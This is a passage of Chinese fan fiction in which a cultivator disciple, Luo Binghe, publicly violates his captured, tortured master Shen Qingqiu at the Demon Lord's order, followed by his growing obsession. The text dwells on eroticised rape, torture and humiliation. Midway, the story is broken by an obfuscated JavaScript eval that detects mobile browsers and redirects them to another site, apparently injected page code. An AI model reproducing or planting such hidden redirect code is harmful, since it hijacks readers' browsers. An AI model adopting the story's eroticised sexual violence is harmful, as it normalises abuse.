最后只能‘服从魔尊安排’,欺师犯上,以曲线救国,在大庭广众之下将曾经的师尊压在身下,极尽缠绵。 多好的剧本啊。 多无辜的弟子啊。 多得了便宜还卖乖的……美好开展啊。 洛冰河小心的吸一口气,侧向沈清秋的那只手无声握紧,指尖被磨出‘咯吱’的声音,青筋涌现在手背之上。 少年的目光有些拘谨和不确定,甚至腿也在微微发抖,眼皮掀至最高,视线悄咪咪的向魔尊方向飘去。 只见魔尊极有趣味的用右手托着下巴,另一只胳膊侧靠屈起,指尖于扶手轻点。嘴角微勾,哪怕是下面满是血腥,眼神依旧平静而冷漠。 这样的‘平淡’与‘从容’,仿佛下面死掉的不是自己的臣民、不是与魔尊并肩作战过的兄弟,不是他亲自选拔精心培养的官员。 那么—— 如果这些人的死亡魔尊并不在乎的话。 洛冰河突然觉得自己还是太年轻。无法控制的寒意从脊椎骨缓慢攀升,僵硬和冰冷将他的身躯牢牢锁在原地,直令他头皮发麻,口舌发干。 这些人,本就是用来布局演戏、敲山震虎的炮灰! 一旦想通了这一点,魔尊之前的所作所为都有迹可循。甚至说,魔尊刻意布下的这一幕,本就是借沈清秋之手清理不听话的棋子。 魔尊不可能不知道沈清秋必然会反抗,甚至说沈清秋被‘丢’过来的时候,连个敷衍意味的绳索都不曾捆绑。 对方虽灵力尽失、满身刑罚痕迹,但能在修真界打出名堂的,那个没压箱底的技能和禁术? 魔尊刻意留下对方的性命,不仅仅是为了考察洛冰河,更是要借机排除异己、杀鸡儆猴。而那些对魔尊有心思的人,现在应该都夹起尾巴、瑟瑟发抖了吧? 虽然说这一幕在洛冰河的计划之内,但还是令洛冰河惊出一身冷汗。他之前居然想同时‘讨好’两个大能,游走于这样的庞然大物之间…… 简直刺激到人肾上素飙升,恨不能燃尽全身血液去搏上一博! 当然。想明白这一切,并不代表能逃过当下的困境。洛冰河若是心智稍微弱上那么一丝半点,给不出魔尊想要的回应,他也会是被宰杀的鸡鸭之一。 思及此,洛冰河将视线转为正对魔尊,恭敬的冲魔尊弯腰拱手,将表情调整为深受长辈喜爱的纨绔世子,大大咧咧的咧开洁白的牙齿,笑盈盈的告罪: “承蒙尊主不弃,替小子将此恶贼擒来。可惜此贼野性难驯,竟犯下如此祸事,当真该罚。” “只是尊主既已将此贼赐予在下,小子定不能再让尊主费心。且请尊主与诸位,好生欣赏小子的表演,也算是博诸君一笑尔。” 魔尊懒洋洋的听着洛冰河明面谦卑,暗地里划分归属,仗着魔尊的宠爱肆无忌惮彰显占有欲和霸道: 即便是我的宠物杀了人,我也不可能将他交给你们!赔偿与责怪冲我来,宠物是绝对不可能交出的! 魔尊一不阻拦洛冰河强行将沈清秋转为自己归属,二不点破洛冰河借势欺人、其实并没有那么受宠到罔顾一切的小心思,只是身躯向后靠了靠,淡淡吐出一句: “准。” 〈冰九6〉数个暗示、层层枷锁 这是众人骨子里的恶劣。 是本该被好好珍惜却无情打碎的疯狂;是本该高悬天空却被拽下神坛的玷污;是仙人与乞丐的终极反转,是兜兜转转却又回归凄惨过往的极致be。 ———— 得到魔尊首肯,其他魔自发的为洛冰河腾开位置—— 既然想要打击敌人,必然要用敌人有些关系的,去诛心。来自亲近之人的刀才是最狠的,微笑着给予穿刺才是最可怕的。 如果本就是敌人,那么来自敌人的‘责罚’,无论如何都不可能折辱对方的精神; 可具有羞辱意义的折辱,让曾经的低位者犯上,令曾经受到恩泽的人亲手刺穿‘恩师’的心脏—— 才是最痛、最有趣的啊。 沈清秋这次是真的力竭,过度压榨身体潜能、使用禁术后的反噬,都令他连手腕都难以抬起。 当洛冰河一番‘义正言辞’的宣告后,沈清秋的归属与性命,在魔界之中,算是钉死在洛冰河手中。 骑师犯上、将高岭之花拽入玉望的泥潭;深陷床榻之中、封闭于内室独自把玩,是无数人心中的念想。 更别说,如果这个人长得还很好看、皮囊也足够精致,又是从高位猛然跌下神坛、落得个满身淤泥。 那更是,会激发人心底最深处的、暴虐与凌辱.欲。 毕竟。拯救深陷泥潭的失足妇女、让良家少女的纯白染上污秽,是人骨子里的劣根性。 沈清秋亦是如此。 他之前表现的越是不屈不挠;现在其他人就越想看他如何哭出声来。 他之前越是冷漠无情、鲜血淋面;现在其他人就越是想看他被情.欲染上粉嫩之色,展现出别样的风情。 他之前越是清高孤僻、不染纤尘;现在其他人就越想看他被鲜血浸染,被白色污浊粘黏全身。 这是众人骨子里的恶劣。 是本该被好好珍惜却无情打碎的疯狂; 是本该高悬天空却被拽下神坛的玷污; 是仙人与乞丐的终极反转,是兜兜转转却又回归凄惨过往的极致be。 乞丐沈九,仙尊沈清秋。 当上位者跌入尘埃,他能否保持曾经的骨气与坚守? 若是服软讨好便能存活,他是否该温柔的对敌人微笑? 日日夜夜的压入床榻,能否抹去骨子里对同性的厌恶? 身中无法排解的春毒,又该如何拒绝对方的投怀送抱? 这些根植于灵魂的东西,究竟,能否通过时间与次数,发生改变? ———— 沈清秋的挣扎很强烈。 即便他连手腕都在颤抖,踢起的小腿力道还不如挠痒痒;屈起的胳膊肘还没来得及捶打便被无情拽起,拱起的膝盖也被强势压下。 沈清秋双手被洛冰河用右手大拇指和四指分开,将他高高越过对方头顶,由于身高的原因,洛冰河只能横跨在沈清秋胸口,认真与沈清秋对视。 “师尊。”洛冰河的声音带着清爽和故意装出的、大仇得报的笑意:“别来无恙?” “……” 很明显,这种时候,来自于‘弟子’的问好,并不能让人觉得受到尊重。更别说,哪有弟子压在师尊身上,将做师尊的牢牢控制住的道理? 只是,沈清秋既然已经落败,现在说什么都是败军之言,除了引敌人发笑和激发敌人折腾他的兴致外,什么作用也没有。 而且他是清醒的,之前洛冰河表情的破绽与细微动作的变化都很明显,沈清秋自然知道洛冰河的所作所为是为了保下自己。 洛冰河在清静峰生活了十年,却只在魔界待了三年。能在此情此景将他的命留下来、免除其他人对他的折辱已是不易,还能指望对方立刻将他送回修真界不成? 沈清秋知道自己不该怨恨,洛冰河已做到他的极致。可即便如此,这样的事情发展,还是令人恼火的恨不得毁灭世界。 故而,他眉头皱得紧紧的,两片单薄的嘴唇抿着,眼里满是不爽的怒火与压抑的愤恨,与敢压在他身上的洛冰河对视。 洛冰河:…… 怎么说呢。即便是洛冰河认真给自己下上数个暗示,当看到身下之人剧烈反抗之时,他骨子里的暴虐还是压抑不住的叫嚷着、想将身下之人撕碎。 或许是他的血脉中有一半魔族血吧。在他没有将对方压在身下之时,洛冰河还在思考要对沈清秋露出怎么样的表情,施展什么样的动作去表达‘他的不得已’。 而当他真的将衣衫破烂、遍体鳞伤的仙尊拥在怀中,手指触碰到对方满是倒翻的血肉与结痂,随着他的举动听到极其轻微又压抑的抽气声时。 洛冰河心里想着的,居然是遗憾和数不清道不明的恼怒? 为什么给对方造成一身伤的人不是他? 这样狰狞的伤口,这样血流不止的画面,这样在晶瓷般美好的皮囊上割裂出鲜血淋漓的伤口之人,居然不是他而另有其人? 他们配吗? 沈清秋是不会将脆弱与呼痛喊出来的性子,即便是洛冰河‘状似无意’实则刻意用力的挤压被翻开的嫩肉,沈清秋除了眉头皱得更紧一些,绷直的嘴角忍不住颤抖、偶尔会吸一口冷气外,看不出来更多异常。 可即便如此,那部分属于魔族的血脉的残忍嗜血,依旧令洛冰河有些迷恋的……想让对方伤口流出更多的鲜血、产生更多的裂痕,想让对方发出更吃痛的声音、更加剧烈的反抗、更痛苦的表情与泪珠。 他真坏啊。 明明一开始打算得是借这个机会获得沈清秋的感激,然后将人随便找个客房安置,若魔族示弱就将人放出去,相信以沈清秋的地位和品性,应该能保他在修真界拥有一席之地。 只是他总归是魔啊。 魔族骨子里的残暴与对鲜血的渴望刺激着他,他居然恶趣味的想让对方流出更多的血,露出更加痛苦的表情。想让对方哭着求他,想让对方全身被打满自己的标记。 洛冰河手掌压在沈清秋腰间的某个伤口处,用力的捻了捻。成功听到沈清秋的闷哼声和几乎能将他灼烧殆尽、恨不得将他片片凌迟的视线。 ‘不能再继续了。’ 洛冰河心头一惊。 他若是在继续下去,别说指望沈清秋之后捞他一把,沈清秋不记恨他就不错了! 若是这次不能处理妥当,只要在沈清秋脑海里留下那么一丢丢的怀疑种子,他都将前功尽弃。 若是如此,他还不如一开始就将人得罪狠了,直接磨灭对方的灵魂,将他养成一个只会承宠的奴! 只是—— 他这个便宜师尊的身子,看起来真的很美味……要不就干脆假戏真做,将人留在身边算了。 不过在此之前,他要将之前的计划执行完毕—— 他要得到沈清秋对洛冰河的信赖,要沈清秋承洛冰河的救命之恩,要沈清秋离开魔界返回苍穹山之后、愿意主动捞还在魔界的洛冰河出去! 洛冰河快速给自己下几个暗示,并且将之前的算计层层封印在灵识深处: 他是一个非常荣慕、很希望得到‘师尊’关注的弟子,他很喜欢他的师尊,很希望能得到师尊的赞赏,为了师尊他可以不顾一切、任劳任怨。 现在他无力救助自己师尊,但是要保证师尊的归属人是自己,唯有他才能救下师尊,他要在大庭广众之下演戏,虽然会委屈师尊、但最终目的是带他离开。 他是个在魔界三年、初心不改,一心想要得到沈清秋青睐,希望获得沈清秋夸奖、愿意为了沈清秋上刀山下火海的‘忠贞弟子’。 —— 洛冰河看见沈清秋愤怒的眼神,心里猛的一慌,两只手立刻松开对沈清秋的禁锢。沈清秋的身体过于虚脱、也或许并未料想到,直接被洛冰河的‘脱手’重重摔在地上。 洛冰河有心想将对方拉起来,又手忙脚乱的不知道该将手放在哪里——沈清秋身上全是刑罚的痕迹,还有刚才大战造成的伤口,密密麻麻的新伤叠旧伤,简直没一处好肉。 洛冰河的视线慌乱,动作轻柔中不知道该如何下手。沈清秋虽被摔在地上,心里的怀疑却莫名的被抚平—— 即便这个‘弟子’他不认,可对方刚才的‘冒犯’,应该也是无心之过。毕竟,对方眼中的茫然无措与心疼爱惜做不得假,想抱他起来却又不知该如何伸手的纠结也过于明显。 身处这样的局势,对方与他一样不自在,一样被推上漩涡之间,无所适从。 但——— 沈清秋感受着坚实大地反馈的踏实感,心里还是生出厌烦与自弃来。 他可真是越活越回去了。 居然需要别人当众与他交(合)来救下他这条烂命。 那么下一步,是不是就要奉上自尊与傲骨,去换取更好的生活条件? 最后,是不是就要主动承欢示好,学着妓与倌的手段,去求主人家在自己身上多停留几分? 沈清秋冷笑了一声。苦涩与压不住的灼热从心口升起,令他咽喉不自觉滚动,意欲作呕。 他要是真落到那个份上,还不如洗干净脖子,自绝算了。年少时靠血性逃避的东西,现在却又再次上演。 可少年沈九能凭借一腔激情逃出秋府,成年的沈清秋,又该如何在弹尽粮绝、手段用尽之后,再次逃出生天? 洛冰河看着沈清秋越发冷漠的表情,以及随着呼吸而上下滚动的咽喉——忍不住咽了口唾沫。 美人在怀、佳人如梦,心心念念的人终于来到自己身边,这让他怎么忍得住不多看几眼?此情此景,需要他与师尊更进一步的交流,身边环绕着对方的气息、手上是对方细腻又狰狞的皮肤,眼前…… 咳—— 洛冰河看着曾经用看垃圾眼神看向自己的沈清秋,只觉得手心一直在发烫,连对方的胳膊都险些有些握不紧。他略显狼狈的移开眼神,觉得还是将对方翻过去,更利于赶紧完事带师尊离开。 ——碎碎念—— 渣写手知道这里ooc了——沈清秋不可能‘反抗如此无力’。 但是这个是叠加好几个条件的: 1。本身被掳之后没得到疗伤,还被施加刑罚。 2。灵力尽失的情况下动用禁术,杀了一地的魔族。 3。魔气对修真者的腐蚀,失去灵力之后更难以抵抗。 4。好的就是这样了,管他通不通顺,其他就当笔力不行突兀算了。〈冰九7〉沈清秋被喂了天魔之血 冰河好像有些困扰? 现在,冰河可以尽情享用了。 ———— 成年男性的身躯,与洛冰河尚在成长的青少年体型比起来,是有些难以把控。他的力度虽比对方大,可单凭纯粹的肢体力量与战斗经验,洛冰河就有些难以招架。 尤其是,当洛冰河打定主意想要早些‘完事’,刚将对方翻过去、手指放在对方的腰部偏下之时——沈清秋的挣扎突然比之刚才要狂躁数倍。 如果说沈清秋对疼痛的忍耐能力是十。那么鞭打刑罚、对战受伤,哪怕是程度达到了超极限的十一、十二,他都能咬牙一声不吭。 可,如果是来自同性的触摸与牵扯,那便是哪怕只有零点一,沈清秋也完全不能接受。 若是对战之中,因为能立刻将敌人杀死,沈清秋还能勉强维持正常。可若是平常接触,他就像是被踩到尾巴的猫,极易炸毛不说,是真的会喊打喊杀。 现在,洛冰河压在他的身上,双手被困,双腿被控,还要忍受周围之人对他的‘身材点评’。 即便他确实有些自厌自弃的崩溃和不知如何破局的迷茫,当下发生的事情,也是完全不能忍的! 撸开袖子就是干,不行就直接死在战场上!沈清秋猛咬一口舌尖,下意识就要再次施展一次禁术,将周围这些玩意再砍杀一次。 劳资就不信了,大不了我们一起死,以我一人换你们一群,也算够本! 就在沈清秋心态爆炸、欲以命相搏,食指与中指快速并起,其他三指相抵于掌心,随时可伸开胳膊再打一场。 可惜悲惨的现实却是——他手腕却被扣得死死的、压根抽不出来。 ??? !!! 沈清秋的手腕居然抽不出来! 而压着他的人,只是一个十来岁,连魔力都不曾召唤的少年! 他已经羸弱至此了吗! 沈清秋很愤怒,干脆吐出一口舌尖血,打算直接念咒。行,禁术施展不了是吧,那我念咒请神、直接开群体诅咒算了! 只是他才刚刚吐血,就被时刻注意的洛冰河屈起食指,塞到他的嘴里。 “?” 若说刚才还只是意外,现在就是故意! 沈清秋狠狠的咬着嘴里的手指,如被激怒的恶狼般扭头向后看去。 两人视线相撞,一个饱含怒火、就像是随时要爆炸的火药桶;一个面色冷酷、却又眼含退缩和哀求。 ‘别挣扎了,你的身体、魔尊的耐心都扛不住你再次折腾了!先活下来不好吗?’ 洛冰河努力用眼神表达祈求,希望对方能读懂自己的意思。君子报仇、十年不晚,你先忍下这一时之气,保全性命再谈及别的啊! 只是很不巧,沈清秋与洛冰河的思想完全不在一条线上。 洛冰河想的是先活下来再说,剩下的他会暗暗积蓄力量,等他强大了再将这些债收回来。一个两个的,这些‘围观’和‘起哄’之人,洛冰河总有一天会将他们全部弄死。 沈清秋却不然。 他之前或许还有些一瞬间的哀怨和脆弱,猛然间发现自己再次踏入曾跌进去过的深坑,而这次很大几率是爬不出来。 曾经的过往记忆一瞬间被激活。 那些被抛弃的失落与愤恨;险些沦为男宠的惶恐与不安;好不容易爬起来却未遇良人、最终被喊了半生‘野路子’的不甘与恼怒。 最重要的是,这些过往——不曾被宣泄出口,也不曾用其他方式发泄弥补。 沈清秋被压得太狠了。 他对自己的一切悲惨过往,简单粗暴的总结为‘实力不足’。故而他一门心思要提升实力,要拥有随时随地能打败任何人、用绝对的武力击败任何事情的修为。 禁术、禁咒、禁制。 符箓、阵法、以血养器。 一切能为他所用,能提升战力的东西,都被沈清秋花费了大量的时间和精力,堆积无数的资源与试验,才终于将他们掌握。 所以说—— 在沈清秋的三观里。 他所有悲惨的原因——只是因为,不够强。 而当他遇见怎么也打不过之人时,柳清歌的存在,就是沈清秋做梦也要弄死的。 当然。柳清歌最后是死了的。 即便是好心办错事,也是死在沈清秋手上。 怎么不算是,为‘变强’除去一切阻碍? 即便是现在也是同样。 他被人当成猴子戏弄,而旁人居然想要看他与人交欢来消遣于他。 是看他提不动刀,当他是流落风尘、需要出卖色相陪客的男倌吗? 他便是再狼狈、再落魄,宁可带着大家一起团灭玩完,也不可能屈居人下、雌伏于人! 更不可能,将自己置于如此低微、生死皆由对方一念之间的地步! —— “冰河好像有些困扰?” 魔尊的声音突然传来。 随着魔尊的叩击声响起,沈清秋的挣扎突然被摁下暂停键,随之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287594|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的额头上浮现出星星点点的细碎汗珠。 沈清秋被喂了天魔之血! 洛冰河原本还在想如何以最轻柔的方式将对方压制,怎么样尽可能温柔的让师尊舒服些。 却在沈清秋完全动弹不得之时,一瞬间如醉冰窟。 如果是这样……且不说沈清秋永远不可能走出魔界,就连刚才的那些,也是魔尊的自导自演? 虽然他之前便隐约猜测是魔尊布局,可当这个事实被确定后,洛冰河还是被震惊的手足冰冷。 “现在,冰河可以尽情享用了。” 魔尊的声音堪称‘慈爱’,洛冰河不敢抬头。快速将沈清秋拦腰抱起,背部扭向自己,便开始撕他的衣衫。 沈清秋本就衣衫破损,以一敌众之后更是损毁的不成样子。与其零零碎碎的挂在身上与伤痕摩擦,还不如直接清除干净,也免得更多受苦。 洛冰河感受着胳膊上略带凉意的体温,与向自己投来的极具穿透力的视线。紧紧的闭上眼睛,右手向下摸去。 在对方骤然僵硬的反馈中,脸上挂起凶狠残忍的笑容,将对方布满伤痕却细腻如瓷玉的腰部折起。 ——碎碎念—— 富强、民主、文明、和谐。 自由、平等、公正、法治。 爱国、敬业、诚信、友善。 传影石……这是现场直播? 播出去的,是沈清秋大杀四方的影像,所以魔尊是真的生气了 播出去的不是沈清秋被洛冰河……的吗?我理解错了? 是,但是我最近再想,这样是不是太(过火)了。因为我一开始是看了篇废料有的脑洞,现在想想好像不合适,在思考要不要改一下 所有的故事里,杀人可以被谅解,但羞辱不能。所以说……这个设定会不会过火了? 想了想最后还是改了一下,毕竟咱是正常人不是变态,直播xx也太那啥了(坚持抓着自己的小被子) 〈冰九8〉他只是……想带‘师尊’离开 他不是满心算计的想要接近于你、借用你为他牟利;他只是想要尽弟子的本分,想要……带师尊离开而已。 ———— 人是一种很自命不凡、并且喜欢‘指导评价’同类的生物。如果一个人已经被认定为错误,即便他行事再如何‘正统’,其他人也会认为他在心怀鬼胎的谋划着什么。 同理,只要一开局就彰显自己的‘无可奈何’和‘不得已’,那么就算他之后犯下什么不可饶恕的错误,对方也会觉得——他另有不可言说、现在无法解释的苦衷。 而根据这份‘信任’,只要当事人做的不是极为过火,解释的速度足够快—— 一切的真实伤害,都会被打上‘为你好’、‘我也是不得已’、‘我是为了最终的目的;在途中将你砍杀’。 就像是那些一般人无法理解的言情故事中,只要双方基于某种无法具体丈量的‘信任’,只要被伤害的那一方认为伤害自己的人是为了‘更好的让他活着’,那么—— 被伤害,只是为了达成最终目的,所付出的,一些代价而已。 所以说啊,第一印象所留下的信任,永远是最重要且无法改变的东西,是一切‘强制爱’‘破镜重圆’‘火葬场’‘言情废料’最需要花费精力去‘铺垫’的玩意。 洛冰河想获取沈清秋的信任,继而为自己找条退路。可他与沈清秋见面极少,初次在魔界相遇的场景也过于不利。如果他真‘听从魔尊吩咐’、将沈清秋的颜面与傲骨全部踩在脚下,沈清秋这条线就不可能走通。 但男频赛道走不通,不代表女频赛道没办法。 如果说……洛冰河是一个卧底三年、初心不改的‘纯情’、‘渴望师尊照料’、‘愿意为师尊付出一切’、‘能力不足所以只能曲线救国’的……温柔弟子呢? 如果洛冰河满心想法,眼里全是对‘师尊’的心疼和不能违抗,退一步就是大家一起玩完、会令沈清秋陷入更悲惨境地的无能者呢? 看吧。洛冰河不是不想救,他只是没能力。 同样,他不是满心算计的想要接近于你、借用你为他牟利;他只是想要尽弟子的本分,想要……带师尊离开而已。 ———— 沈清秋的挣扎与反射性抵触,给了‘围观众人’很大的感官刺激。而魔尊大手一挥,给洛冰河批了七天的假。 在一众羡慕、暧昧、尝试跟他‘交换奴隶’的交涉中,洛冰河脸上挂着被人打扰的烦躁和刚得新物品的强势占有欲,推开人群,抱着沈清秋大步向寝宫走去。 有不满者向魔尊嚼舌根,魔尊大度一笑:“年轻人得了新玩具,总要让人新奇几天的。” —— “滚。” 等洛冰河将沈清秋放置到床铺之上,沈清秋恢复行动能力的第一件事,便是将对方一脚蹬开:“出去。” 双方刚才还是一根绳上的蚂蚱,现在却被无情抛弃。如同瞎子复明后第一时间扔掉拐杖一般,洛冰河直接感受到了沈清秋的嫌弃。 当然,沈清秋不一定是嫌弃洛冰河,更多的,是对现状的无力和整个故事发展到不满。 但那些不重要,‘沈清秋将洛冰河推开’这个事实,深深的刺痛了少年的心。 毕竟——少年可是一门心思想带师尊离开,顶着万众瞩目的压力、曲线救国将人救下啊! 但是考虑到对方忽逢巨变,又被自己当众压了那么久,毕竟是他‘占了对方便宜’。于情于理,洛冰河确实有些……理亏。 故而。洛冰河快速将浴池寒水用魔力激发升温,又摆下他之前收集的、魔气稀少的治疗药物,从衣柜里寻出最大码衣物,叠放整齐后放置于床头。 “师尊,弟子先出去,有事您喊我。” 洛冰河眼皮垂得低低的,脸上是恨不得自裁的愧疚和属于乖巧弟子的体贴细致。这个绝对不是‘伪装’,他是真的觉得自己师尊需要好好修养,而他之前虽然是为了救人而犯上,但真的伤害了对方。 洛冰河小心翼翼的正对着沈清秋一步步后退,耳边却始终没有听到对方的回复,然后只能无奈的叹口气、轻轻的带上房门。 完了。他与师尊第一次在魔界见面,被他搞砸了。 可是能怎么办呢,他要带师尊离开,魔尊既然指定那样折辱人的方法,他也唯有照办——毕竟,由他来操作,总比其他人粗鲁玩弄的强。 门内传来重物跌倒在地的声音,接着是水流溢出于地面的滴答声,轻微的抽气喘息声。 对方是个很能忍痛的性子,决计不可能将痛苦与呼喊表现得太过明显,能有冷抽声传来,已是痛极的象征。 随着窸窸窣窣的摩擦声响起,洛冰河蹲在窗口,悄咪咪的掀开一丝缝隙。担心被外界的风吹拂而露了痕迹,他又用魔力将那丝缝隙填补的严严实实。 仙人皮肤细腻,却遍布狰狞伤痕。 平整完好的部位软糯微弹手感极佳;被刑罚走过的地方却满目苍夷,处处都是向外翻滚的猩红裂痕,有些还能看见被深埋于血肉中的洁白骨头。 在胳膊肘、膝盖、手腕、脚踝等地,还有着大片青紫之色。这些一部分是仙人与敌对打之时的磕碰伤,更多的,是被当众犯上的不孝弟子,强控狠掐。 对方的反应过于激烈,洛冰河若是手上不施加些力气,即便有天魔血的压制,也很难让对方老老实实的‘承欢’。 对方的腿很修长,不似体修的肌肉块,更像是文人的精致白皙。其皮肤,曾被人反复触摸把玩,一次次压下对方尝试抬起猛踹的膝盖。 嗯。这个虽然可以‘免去’,但上好软玉在手,谁能忍住不去触摸把玩?即便是现在,洛冰河还是会下意识右手合起,大拇指轻轻摩擦手心。 再向上,是被衣物层层遮掩的腰腹和股肌。 其实当时对方的衣物已近乎碎片。比之平日里的端庄高贵,破损的衣物,如何算不上欲.语.还.休的诱.惑? 而这些隐.秘.禁.忌之地,身为弟子的洛冰河。却在大庭广众之下,用一副凶狠、暴裂的神情,狠狠的捏着、掐着、穿透过。 沈清秋不喜欢发出弱者的求饶与脆弱,却很难压下被重重挤压后、源自于胸腔的迸发出的气息。那些气息被紧闭的双唇牢牢咬住,最后只发出几句短促的闷哼。 到了后面,完全承受不住的沈清秋开始肆无忌惮的谩骂,各种恶毒的话语被他从嘴里吐出,却只能化为周围魔族取乐的笑料。 对方的谩骂犹在耳边。即便是痛极也不会求饶。即便是愉悦,也不可能发出。 这场以折辱为最终目的的故事里,沈清秋感受到的,只有无尽的痛和疼,以及自尊被踩在地上,任人观看取乐的羞愤。 可无论如何,一直的抵抗与痛苦,总比因身体本能而不得不同流合污要强太多。永不屈服的信念和姿态,能激发施暴者的兴趣,更能彰显被伤害者的傲骨。 只要这份傲骨还在,沈清秋的颜面,总归还剩下那么一丝半点。 〈冰九9〉他要犯上,要禁忌之恋 那个被他‘吩咐’的人,那个能有幸看见对方‘提出要求’的人,那个能品味到沈清秋因得到想要之物而露出满意之色的人—— 只能是他,必须是他。 ———— 对于不好南风的人来说,无论是雌伏还是压伏,都是很难令人接受的事情。更何况,如果这个人本来的爱好就是烟尘阁楼、清绾小调,引他去男倌之地,怕是想与此人彻底绝交。 分桃断袖、百合水仙其实不算什么,只要这件事不发生在自己身边,对于这些风流逸事,大家都是抱着听戏看乐子的心态去‘消遣’的。 可如果这件事莫名其妙的将自己牵扯进去……甚至还成为故事的主人公之一…… 那就是件很蛋疼的事情了。 沈清秋年少时因身份卑微,相貌尚佳,故而需要小心隐藏,慎防一不小心被人卖到绾倌之地,成为以色侍人的存在。 稍长大一点,因一时好心,暴露了自己会‘仙法’的痕迹。被人‘买’到秋府之中,成为大家子弟的玩物—— 其实,如果他的面像没有那么精致,如果他不曾暴露会用仙法,如果他早早舍弃尊严卑躬屈膝的当个机灵小厮。 他倒也不至于落入被当成沙袋、被视为男宠、被当家小姐看上等各种听起来就很‘一波三折’的地步。 当然,生活对他的刺杀与恶意不仅如此。 在经历了许下承诺却没人回应、以为死掉的亲朋却活的比谁都好、好不容易拼出成就却因来路被质疑、再次发善心却将人弄死、最终干脆闭门不出不理世事等一系列听起来就很有‘文似山风不喜平’的故事后。 沈清秋最终还是成为了,在仙魔战场上、被人暗算、沦为魔族俘虏;接着在魔尊的恶趣味下,当众受辱,成为打击修真界气势的工具人。 —— 洛冰河退出屋门,却不曾走远。 万一他师尊喊他呢? 万一他师尊晕倒呢? 万一对方需要他而他却不在呢? 秉持着对方‘有可能’呼唤他的‘可能性’,洛冰河尽职尽责的守在房屋之外,为沈清秋护法。 至于——为什么现在的他跟偷窥狂似的小心谨慎将房屋的窗口打开一条缝、又为什么跟犯花痴的毛头小子一样通过一丢丢的空隙忍不住咽唾沫…… 咳,他只是单纯的担心! 绝对,绝对没有别的想法! 室内之人像是早已习惯了受伤,从头到尾都不曾向外面候着的弟子发出求助指令。 即便是熟练的动作中明晃晃的带着疲劳至极的颤抖,即便分不明确具体的药膏用法,即便是——某些完全够不到的部位,最后赌气到压根不打算继续上药。 这样的‘任性’举止之下,洛冰河竟诡异到看出几分‘无辜’来。他的师尊,当他褪去身上的尖刺和拒人千里之外的冷漠后,居然看起来这么乖巧…… 而且对方明明都虚弱到濒死了,还要硬气的屏退所有人,等水雾升腾之后,才踏入可能会暴露身形的浴池之中。蒙蒙烟雾之中,纤细的肢体若隐若现,衣物被主人留在岸边一臂之处,随时可穿戴整齐。 这样连沐浴上药都‘谨慎小心’的人,对世间的怀疑和拘谨是刻在了骨子里的。 尤其是——一介仙尊,在沦为魔族玩物之后。不愿屈服、也不曾求饶,就连最后的上药都要将人撵走,独自疗伤。 何其倔强,何其别扭,何其……可怜、可叹、可爱。 这样坚韧又敏感的灵魂,不愧是他的师尊。而洛冰河认定的师尊,是绝对不会像其他人一样,轻易展露脆弱、寻求外人帮助的。 就算是有。那个被他‘吩咐’的人,那个能有幸看见对方‘提出要求’的人,那个能品味到沈清秋因得到想要之物而露出满意之色的人—— 也该是他。 必须是他。 洛冰河心里突然生出不该有的觊觎,那是身为弟子不该存在、也不应存在、甚至想都不能想的禁忌。 可——为什么‘不’? 洛冰河所受到的教育限制着他不该那么想,理智和伦理都在死死压制着他突然兴起的念头——犯上已是大逆不道,现在他居然想将这种‘不得已而为之’的事情变成常态化? 他不能,也不该,更不应! 洛冰河猛的闭上双眼、屏住呼吸,心脏因缺乏氧气而剧烈跳动,‘嘭通’‘扑通’的声音随着骨骼传声奏响在耳膜之上。 明明已经紧闭双眼,沈清秋艰难清洗的动作却还是浮现在他的脑海之中——甚至因直接出现在眼前,连水雾半隐半露的遮挡都被抹去。 为什么不行呢? 为什么不可以呢? 为什么他要压抑自己呢? 洛冰河的理智在牢牢紧绷着,可血脉中的灼热与滚烫却在肆意叫嚣。 沈清秋是魔界的阶下囚,是被该丢到牢狱里饱受刑罚折磨的俘虏。 只是由于他和洛冰河的短暂‘师徒关系’,被单独从牢里捞出来,用来‘试探’洛冰河这个半魔对修真界的看法。 是洛冰河冒着被发现的风险将其从魔尊手中要来,替他免除了那些可能会遭遇的苦难。 他们是一根上的蚂蚱,是同一个理念下的战友,是当着全世界的面有过亲密、负距离接触的奴隶与主人。 洛冰河右手无意识的摩擦,仿佛对方的腰肢还被自己揽在怀里,反复摩擦把玩着。 沈清秋是他的。 或许这么说有些大逆不道。 但。洛冰河就是生出了这样不该的念想。 不管沈清秋在修真界是如何的高高在上、不食人间烟火;无论他表现得如何孤傲冷僻,拒绝所有人亲近。 他是他的师尊;是他在魔界卧底这么多年,针对修真界的唯一念想。 如果修真界还想让他‘作为修真界的卧底’存在,就要将沈清秋送到他手上。 如果不愿—— 洛冰河额头开始展露出血红色火焰印记。 他是半魔,本就意味着……可以随便选择修真界和魔界。 如果修真界不答应他的要求,那他干脆倒向魔界算了。 反正魔尊已经将对方‘当众赐予’给自己。在天魔血的管控之下,沈清秋本就走不出魔界。 一个走不出去、根本不可能回到修真界的仙尊——若是还学不会服软…… 洛冰河手掌握紧,感受着因过度用力而有些青筋暴起的手指关节。这种不被掌控的感觉,这种要‘求助于他人赐予’的下位者心态。 一点,也不男频。 洛冰河再次看眼室内艰难上药的仙人,心底已生出要掌握一切的占有欲。 沈清秋必须是他的。 只能是他的。 独属于他的。 洛冰河的视线一点点染上狂热,他已经看到了未来两人琴瑟和鸣的美好愿景。他会做好一个‘弟子’该有的本分,给予对方足够的尊重和仰慕,永远的、伴随在对方身边。 这点猛然生出的希冀如同弱小又脆弱的火苗,将他的心放到烧烤架上不停翻滚炙烤。像是春风吹又生的野草般,疯狂的占据他的心神。 继而,这种无畏的热血与狂躁,又被理智一点点的压下。 目标既已生出,剩下的便是想方设法靠近。 那么…… 他要等,要隐忍。 他要猎物主动走入他的怀抱。 他要这个对万物警惕的人对他生出信任。 他要对方心甘情愿脱下衣衫、拥他入怀。 他要将这个人从身到心占有、在他灵魂的每一处,都打上自己的标记。 〈冰九10〉千山万水,我会带你去看 